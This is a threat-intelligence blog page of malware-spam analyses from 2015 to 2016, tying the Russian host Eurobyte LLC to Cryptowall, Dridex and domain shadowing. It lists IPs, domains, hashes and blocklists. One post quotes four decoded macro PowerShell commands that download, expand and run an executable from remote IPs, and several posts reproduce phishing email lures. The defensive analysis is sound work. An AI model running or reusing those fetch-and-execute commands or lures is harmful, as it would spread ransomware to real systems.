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Showing posts sorted by relevance for query eurobyte. Sort by date Show all posts
Showing posts sorted by relevance for query eurobyte. Sort by date Show all posts

Wednesday, 13 January 2016

Evil network: 46.30.40.0/21 / Eurobyte LLC and GoDaddy

Recently I kept coming across the name "Eurobyte LLC" when it came to hosting malware [1] [2] to an extent that I became rather suspicious about this Russian hosting company and what it is they actually do.

From looking around, it seemed that whoever Eurobyte rented servers to had an unhealthy interest in CryptoWall and the Angler EK. Eurobyte is a Russian hosting company, which in turn is a customer of Webzilla in the Netherlands. One of Webzilla's other customers is McHost.ru who also have a shitty reputation.

A look at Webzilla's AS35415 range shows that Eurobyte LLC is allocated the following blocks:

46.30.40.0/24
46.30.41.0/24
46.30.42.0/24
46.30.43.0/24
46.30.44.0/24
46.30.45.0/24
46.30.46.0/24
46.30.47.0/24

These coincide with a large-ish block of 46.30.40.0/21 which contains all the Eurobyte /24s.

Using DNSDB I found over 70,000 sites associated with this block. By associated I mean site currently hosted in the /21, or hosted there in the past few years. Crucially, that includes a lot of somedomains, nameservers and that sort of thing. In order to keep things manageable, I consolidated almost all the subdomains down into their main domains, leaving 18,260 domains and sites.

The next step was to take that data and look up the current IPs and Google prognosis (results here), giving 4048 sites with their main domains currently hosted at Eurobyte. Of this, only the following 16 appear to be malicious, 0.4% of the total.

promodoms.ru
androiddeff.ru
xpopkax.ru
xxxplayx.ru
justyoutube.ru
maineaquaventus.info
dallasdispute.com
waysecureforyou.pw
mammals.ru
101curtesty.pw
hitbambar.pw
topgradations.pw
getgradations.us
igrakon.biz
alwrgame.ru
igrakon-loads.ru

0.4% is a tiny amount.. I would typically expect to see about 1-2% on any network. So, Eurobyte LLC looks squeaky clean, yes?

In fact, this low number of malicious sites is misleading. If we go back to the original 18,260 domains and look at the number of malicious domains there, the total is 3,129. That's 17.1% of the original dataset.. a very high figure indeed.

The discrepancy appears to exist because there are thousands of subdomains hosted in the 46.30.40.0/21 range, where the main domain (e.g. www.) is hosted in a completely different location. The subdomains are then used to host malware such as the Angler Exploit Kit, while leaving the main domain completely untouched. The attack is known sometimes as domain shadowing.

Out of the malicious sites, 2793 are currently hosted at GoDaddy. That's 89.2% of the sites listed as malicious. But it turns out, that out of the other 336 sites taggest as malicious, about 300 are either registered with GoDaddy but hosted elsewhere, or use GoDaddy name servers. In other words, approximately 99% of the malicious sites belong to someone with a GoDaddy account.

But in fact, it is even worse than that. Looking at the domains that aren't tagged as malicious by Google reveals hundreds more similar hijacked GoDaddy domains. This list contains 5201 domains that are both parked on GoDaddy servers and have had malicious subdomains running in the Eurobyte LLC IP range. There are probably hundreds more that are hosted elsewhere.

What appears to be going on here is a domain shadowing attack on a massive scale, primarily leading victims to exploit kits.

There do appear to be some genuine Russian-language sites hosted in this block. But if you don't tend to send visitors to Russian sites, I would very strongly recommend blocking 46.30.40.0/21 from your network.

If you are a GoDaddy customer then enabling-two factor authentication might give you some additional protection against this type of attack.

While researching this topic, I discovered that Talos had done some similar work which also pointed a finger at Eurobyte and their very lax control over their network.

Tuesday, 24 November 2015

Malware spam: Serafini_Billing_Statement 2003 / Statement.zip leads to Cryptowall

This fake financial spam leads to ransomware:
From:    Scrimpsher [mumao82462308wd@163.com]
Date:    24 November 2015 at 16:57
Subject:    Serafini_Billing_Statement 2003
Signed by:    163.com

Hi Please see attached a copy of your statement for the month of Nov 2015
Sincerely
Lynda Ang
As with many recent ransomware attacks, this appears to have been sent through webmail (it really is from 163.com, it is not being spoofed). Attached is a file Statement.zip which contains a malicious javascript statement.js [pastebin] [VT 7/53]  which then downloads a component from:

46.30.45.73/mert.exe

That IP belongs to Eurobyte LLC in Russia. I recommend that you block it.

This is saved as %TEMP%\122487254.exe and it has a VirusTotal detection rate of 5/55 and an MD5 of 68940329224ab93ce4b688df33a9274f. The application's icon and metadata is designed to make it look like a copy of VNC, but instead the VirusTotal detection indicates that it is Cryptowall. This Hybrid Analysis report demonstrates the ransomware in action most clearly.




One unusual characteristic is that it POSTs to a lot of webservers (also listed in these reports [1] [2] [3]) although I don't know how significant it is. Almost all the domain names being with "A":

81moxing.com
acid909.co.uk
alaska-ushuaia-ecotrip.cashew.fr
alettewinckler.com
allaboutt.co.nz
allegrostudio.ca
allergitejp.se
allsystemsrepair.com
allwinmusic.com
a-louise.com
alper.ro
alsaauto.com
alterweb.com.ua
amirhosseinnouri.com
anellovaffa.it
apinside.it
applemuseum.us
appmedia.se
arcgraphics.co.uk
armekonomi.se
armenia.e5p.eu
aroapulsa.com
aromasupply.nl
arot.altervista.org
asc-architect.com
a-s-g.fr
asiatiquegay.fr
atlanticinsulationservices.co.uk
audicarti.com
autohes.cz
autooutfitters.biz
autoservice-piehler.de
aviatorek.pl
b-52mebli.com.ua


Tuesday, 27 October 2015

Malware spam: "id:9828_My_Resume"

This fake résumé spam comes with a malicious attachment. It seems that the names are randomly-generated from a list.

From:    Trinh [zhanxing1497kcuo@163.com]
Date:    27 October 2015 at 18:30
Subject:    id:9828_My_Resume
Signed by:    163.com

Good afternoon!!! my name is Bobette Gloster. my resume is doc file.
I would appreciate your immediate attention to this matter.
Yours faithfully
Bobette Gloster
In this case the attachment was named Bobette_resume_1817.doc however this will vary. The VirusTotal analysis of the document gives a detection rate of 8/55, mostly detecting a generic macro downloader.

The macro looks like this [pastebin] and the Hybrid Analysis of the document shows traffic coming FROM 46.30.41.150 (EuroByte LLC, Russia) and being POSTED to the following:

all-inclusiveresortstravel.com
designtravelagency.com
bigboattravel.com
cpasolutiononline.com
ciiapparelblog.com

The first three are on 108.167.140.175 and the second two are on 192.185.101.210 which are both allocated to WebSiteWelcome customers. I would assume that those two servers are completely compromised.

The Hybrid Analysis report shows that the malware has some characteristics that make it look like ransomware.

Recommended blocklist:
46.30.41.150
108.167.140.175
192.185.101.210

UPDATE:
This Tweet indicates that the payload is Cryptowall.

Friday, 4 September 2015

Malware spam: "RE:resume" aka "What happened to your files?" / Cryptowall 3.0

This fake résumé spam leads to ransomware:

From:     fredrickkroncke@yahoo.com
Date:    5 September 2015 at 03:50
Subject:    RE:resume
Signed by:    yahoo.com

Hi my name is Teresa Alexander attach is my resume
Awaiting your prompt reply

Kind regards

Teresa Alexander
The attached document in this case is Teresa_Alexander_resume.doc, which upon opening asks you to enable active content:



Protected Document
This document is protected by Microsoft Office.
Please enable Editing and Content to see this document.

Can’t view? Follow the steps below.
Open the document in Microsoft Office. Previewing online does not work for protected documents.
If you downloaded this document from your email, please click “Enable Editing” from the yellow bar above.
Once you have enabled editing, please hit “Enable Content” on the yellow bar above.
Following these steps would be a Very Bad Idea as the malware would encrypt all your files on the disk. This malicious DOC file itself has a VirusTotal detection rate of 4/56.

The Hybrid Analysis report shows pretty clearly what is going on. An infection sequence begins, with the following domains and IPs contacted:

46.30.46.117 [Eurobyte LLC, Russia)
186.202.153.84 (gaiga.net)
192.186.235.39 (satisgoswamicollege.org)
52.88.9.255 (entriflex.com)
23.229.143.32 (eliasgreencondo.com)

Blocking those domains and IPs may be enough to stop the ransomware working. The malicious macro in the document drops a file carved_0.exe which has a detection rate of 4/56.

Once the machine is infected, various "What happened to your files?" messages pop up, such as this one (from the Hybrid Analysis report)


This further references another bunch of domains that you might want to block, especially in a corporate environment:

namepospay.com
optiontosolutionbbs.com
optionpay2all.com
democraticash.com


This further Hybrid Analysis report on the dropped binary also identifies the following malicious site:

68.178.254.208 (erointernet.com)

Incidentally, it is worth noting that the malware attempts to identify the IP address of the infected system by visiting ip-addr.es - although this is not a malcious site, you can consider it to be a potential indicator of compromise.

The payload here is Cryptowall 3.0 and as is typical, removing the malware is easy.. but decrypting the files without paying the ransom is fearsomely difficult.

Recommended blocklist:
46.30.46.0/24
gaiga.net
satisgoswamicollege.org
entriflex.com
eliasgreencondo.com
erointernet.com
namepospay.com
optiontosolutionbbs.com
optionpay2all.com
democraticash.com

MD5s:
d6b3573944a4b400d6e220aabf0296ec
5b311508910797c91cc9c9eb4b4edb0c


Wednesday, 26 August 2015

Malware spam: "RE:resume" leads to Cryptowall

This fake resume spam has a malicious payload. I got part way through decrypting it to discover that @Techhelplistcom had done all the hard bits which saved me some effort. This particular spam delivers a version of the Cryptowall ransomware.

In the only sample I saw, the spam looks like this:

From:    emmetrutzmoser@yahoo.com
To:   
Date:    26 August 2015 at 23:29
Subject:    RE:resume
Signed by:    yahoo.com

Hi! my name is Janet Ronald it is my resume!Awaiting your prompt reply

Best regards

Janet Ronald
Attached was a file Janet_Ronald_resume.doc [VT 5/56] which (of course) contains a malicious macro that looks like this [pastebin].

The format of this message is very similar to this other fake resume spam seen recently, and a key feature here is that the message is really sent through Yahoo! and is not a forgery.

Deobfuscating the macro shows that a file is downloaded from http://46.30.46.60/444.jpg which is then run through a decoding mechanism to create (I think) %APPDATA%\278721985.exe. The Hybrid Analysis report shows some of this in action, but Techhelplist did the hard work of decrypting it..


To save a bit of time, a helpful soul left a note on the VT scan of the fake JPEG which leads to this VT report on the actual executable itself, and this then leads to this rather informative Hybrid Analysis report which has some nice screenshots.

Out of all the IPs and domains listed in those reports, I think these are probably the priorities to block:

46.30.46.60 (Eurobyte, Russia)
linecellardemo.net / 23.229.194.224 (GoDaddy, US)

You might want to block the entire 46.30.46.0/24 range because.. well, Russia really.

MD5s:
41177ea4a2c88a2b0d320219389ce27d
d1e23b09bb8f5c53c9e4d01f66db3654

Monday, 10 August 2015

Malware spam: "Gabriel Daniel" / "Resume" / "Gabriel_Daniel_resume.doc"

This fake résumé comes with a malicious attachment:

From:    alvertakarpinskykcc@yahoo.com
Date:    10 August 2015 at 19:40
Subject:    Resume
Signed by:    yahoo.com

Hi my name is Gabriel Daniel doc is my resume
I would appreciate your immediate attention to this matter

Kind regards

Gabriel Daniel
Interestingly, the email does really appear to come via Yahoo!'s mail servers. Attached is a document Gabriel_Daniel_resume.doc which contains this malicious macro [pastebin] which has a VirusTotal detection rate of 2/56.

As far as I can tell, it appears to download a disguised JPG file from 46.30.43.179/1.jpg (Eurobyte LLC, Russia) which appears to be an encrypted executable. I wasn't able to decode all of the macro, however this Hybrid Analysis report shows clearly what is going on..


So, it is pretty clear that the payload here is Cryptowall (which encrypts all the victim's files). The same Hybrid Analysis report shows that it POSTS information to:

conopizzauruguay.com/wp-content/wp-content/themes/twentythirteen/cccc.php?v=c91jzn46yr
conopizzauruguay.com/wp-content/wp-content/themes/twentythirteen/cccc.php?b=86v97tziud5m
conopizzauruguay.com/wp-content/wp-content/themes/twentythirteen/cccc.php?o=ups5xom3u2sb01


It also directs the visitor to various personalised ransom pages hosted on 80.78.251.170 (Agava, Russia).

Recommended blocklist:
46.30.43.179
80.78.251.170
conopizzauruguay.com


MD5:
e34cf893098bd17ae9ef18b04cff58aa

Wednesday, 8 April 2015

Malware spam: "Invoice from COMPANY NAME" / 31.24.30.12 / 46.30.43.102

This Dridex spam takes a slightly different approach from other recent ones. Instead of attaching a malicious Office document, it downloads it from a compromised server instead.

The example I saw read:
From:    Mitchel Levy
Date:    8 April 2015 at 13:45
Subject:    Invoice from MOTHERCARE

Your latest invoice is now available for download. We kindly advise you to pay the invoice in time.

Download your invoice here.

Thanks for attention. We appreciate your business.
If you have any queries, please do not hesitate to contact us.

Mitchel Levy, MOTHERCARE
The link in the email has an address using the domain afinanceei.com plus a subdomain based on the recipients email address. It also has the recipients email address embedded in the URL, for example:

http://victimbfe.afinanceei.com/victim@victim.domain/

This is hosted on 31.24.30.12 (Granat Studio / Tomgate LLC, Russia) and it leads to a landing page that looks like this:

I guess perhaps the bad guys didn't notice "Califonia Institute of Technology" written behind "Information Management Systems & Services". The link in the email downloads a file from:

http://31.24.30.12/api/Invoice.xls

At the moment the download server seems very unstable and is generating a lot of 500 errors. Incidentally, http://31.24.30.12/api/ shows a fake page pretending to be from Australian retailer Kogan.



As you might guess, Invoice.xls contains a malicious macro [pastebin] but the real action is some data hidden in the spreadsheet itself:


That's pretty easy to decode, and it instructs the computer to download a malicious binary from:

http://46.30.43.102/cves/kase.jpg

This is saved as %TEMP%\dfsdfff.exe. Unsurprisingly, 46.30.43.102 is another Russian IP, this time EuroByte LLC.

This binary has a VirusTotal detection rate of 6/57. Automated analysis tools [1] [2] [3] [4] show it communicating with the following IPs:

109.74.146.18 (VNET a.s., Bulgaria)
176.81.92.142 (Telefonica, Spain)
147.96.6.154 (Universidad Complutense De Madrid, Spain)
199.201.121.169 (Synaptica, Canada)
210.205.126.189 (Nowonwoman, Korea)
37.58.49.37 (Leaseweb, Germany)
87.117.229.29 (iomart, UK)
108.61.189.99 (Choopa LLC, US)
116.75.106.118 (Hathway, India)
107.191.46.222 (Choopa LLC, Canada)

In addition there are some Akamai IPs which look benign:

184.25.56.212
184.25.56.205
2.22.234.90

According to this Malwr report it drops several files including a malicious Dridex DLL which is the same one found in this attack.

Recommended blocklist:
109.74.146.18
176.81.92.142
147.96.6.154
199.201.121.169
210.205.126.189
37.58.49.37
87.117.229.29
108.61.189.99
116.75.106.118
107.191.46.222
46.30.43.102
31.24.30.12

MD5s:
e8cd8be37e30c9ad869136534f358fc5
671c65cedc8642adf70ada3f74d5da19
a4af11437798b7de5a0884623ed42478

UPDATE 1:

There is at least one other server at  95.163.121.22 (Digital Networks CJSC aka DINETHOSTING, Russia) being used as a location to click through to (I recommend you block the entire 95.163.121.0/24 range). Between those two servers I can see the domains listed below in use. I suspect that there are others given the limited alphabetic range

abiliingfinance.com
abilingffinance.com
abilingfienance.com
abilingfinaance.com
abilingfinancee.com
abilingfinancey.com
abilingfinnance.com
abilingggfinance.com
abilinngfinance.com
afinanccebifling.com
afinanccebiling.com
afinanceas.com
afinancebbi.com
afinancebill.com
afinancecc.com
afinanceebb.com
afinanceei.com
afinancei.com
afinanceobilhing.com
afinanceobiling.com
afinanceqbilzing.com
afinancesh.com
afinancewbidling.com
afinanceyer.com
afinancrebiling.com
afinancrebixling.com
afinandebiling.com
afinangebiling.com
afinangebilqing.com
afinanrebileing.com
afinanrebiling.com
afinansebiling.com
afinansebilling.com
afinanwebiling.com
afinanwebilsing.com
asfinancebbi.com
asfinancebill.com
asfinancecc.com
asfinancee.com
asfinanceebb.com
asfinanceei.com
asfinancei.com
asfinancesh.com
asfinanceyer.com
assfinanceas.com
bbbilingfinancee.com
bbiliingfinance.com
bbilingffinance.com
bbilingfienance.com
bbilingfinaance.com
bbilingfinancee.com
bbilingfinancey.com
bbilingfinnance.com
bbilingggfinance.com
bbilinngfinance.com
bbillingfinance.com
biliingfinance.com
bilingffinance.com
bilingfienance.com
bilingfinaance.com
bilingfinancee.com
bilingfinancey.com
bilingfinnance.com
bilingggfinance.com
bilinngfinance.com
cfinanccebifling.com
cfinanceobilhing.com
cfinanceqbilzing.com
cfinancewbidling.com
cfinancrebixling.com
cfinandebilping.com
cfinangebilqing.com
cfinansebilling.com
cfinanwebilsing.com
financcebifling.com
financcebiling.com
financeobilhing.com
financeobiling.com
financeqbilzing.com
financewbidling.com
financewbiling.com
financrebiling.com
financrebixling.com
finandebilping.com
finangebiling.com
finangebilqing.com
finanrebileing.com
finanrebiling.com
finansebiling.com
finansebilling.com
finanwebiling.com
finanwebilsing.com

Wednesday, 11 March 2015

Malware spam: BACS "Remittance Advice" / HMRC "Your Tax rebate"

These two malware spam runs are aimed at UK victims, pretending to be either a tax rebate or a BACS payment.

From:    Long Fletcher
Date:    11 March 2015 at 09:44
Subject:    Remittance Advice

Good Morning,

Please find attached the BACS Remittance Advice for payment made by RENEW HLDGS.

Please note this may show on your account as a payment reference of FPALSDB.

Kind Regards
Long Fletcher
Finance Coordinator


Attachment: LSDB.xls

----------

From:    Vaughn Baker
Date:    11 March 2015 at 09:27
Subject:    Your Remittance Advice [FPABHKZCNZ]

Good Morning,

Please find attached the BACS Remittance Advice for payment made by JD SPORTS FASHION PLC.

Please note this may show on your account as a payment reference of FPABHKZCNZ.

Kind Regards
Vaughn Baker
Senior Accountant

----------

From:    HMRC
Date:    11 March 2015 at 10:04
Subject:    Your Tax rebate

Dear [redacted],

After the last yearly computations of your financial functioning we have defined that you have the right to obtain a tax rebate of 934.80. Please confirm the tax rebate claim and permit us have 6-9 days so that we execute it. A rebate can be postponed for a variety of reasons. For instance confirming unfounded data or applying not in time.

To access the form for your tax rebate, view the report attached. Document Reference: (196XQBK).

Regards, HM Revenue Service. We apologize for the inconvenience.

The security and confidentiality of your personal information is important for us. If you have any questions, please either call the toll-free customer service phone number.
© 2014, all rights reserved

Sample attachment names:

HMRC: 196XQBK.xls, 89WDZ.xls
BACS: LSDB.xls, Rem_8392TN.xml (note that this is actually an Excel document, not an XML file)

All of these documents have low detection rates [1] [2] [3] [4] and contain these very similar malicious macros (containing sandbox detection algorithms) [1] [2] [3] [4] which when decrypted attempt to run the following Powershell commands:

cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://193.26.217.39/asdvx/fghs.php','%TEMP%\dsfsdFFFv.cab'); expand %TEMP%\dsfsdFFFv.cab %TEMP%\dsfsdFFFv.exe; start %TEMP%\dsfsdFFFv.exe;

cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://93.170.123.36/asdvx/fghs.php','%TEMP%\dsfsdFFFv.cab'); expand %TEMP%\dsfsdFFFv.cab %TEMP%\dsfsdFFFv.exe; start %TEMP%\dsfsdFFFv.exe;

cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://85.143.166.190/asdvx/fghs.php','%TEMP%\dsfsdFFFv.cab'); expand %TEMP%\dsfsdFFFv.cab %TEMP%\dsfsdFFFv.exe; start %TEMP%\dsfsdFFFv.exe;

cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://46.30.42.177/asdvx/fghs.php','%TEMP%\dsfsdFFFv.cab'); expand %TEMP%\dsfsdFFFv.cab %TEMP%\dsfsdFFFv.exe; start %TEMP%\dsfsdFFFv.exe;
These are probably compromised hosts, for the record they are:

193.26.217.39 (Servachok Ltd, Russia)
93.170.123.36 (PE Gornostay Mikhailo Ivanovich, Ukraine)
85.143.166.190 (Pirix, Russia)
46.30.42.177 (EuroByte / Webazilla, Russia)

These download a CAB file, and then expand and execute it. This EXE has a detection rate of 4/57 and automated analysis tools [1] [2] show attempted traffic to:

95.163.121.33 (Digital Networks aka DINETHOSTING, Russia)
188.120.226.6 (TheFirst.RU, Russia)
188.165.5.194 (OVH, France)

According to this Malwr report it drops two further malicious files with the following MD5s:

c6cdf73eb5d11ac545f291bc668fd7fe
8d3a1903358c5f3700ffde113b93dea6 [VT 2/56]

Recommended blocklist:
95.163.121.0/24
188.120.226.6
188.165.5.194
193.26.217.39
93.170.123.36
85.143.166.190
46.30.42.177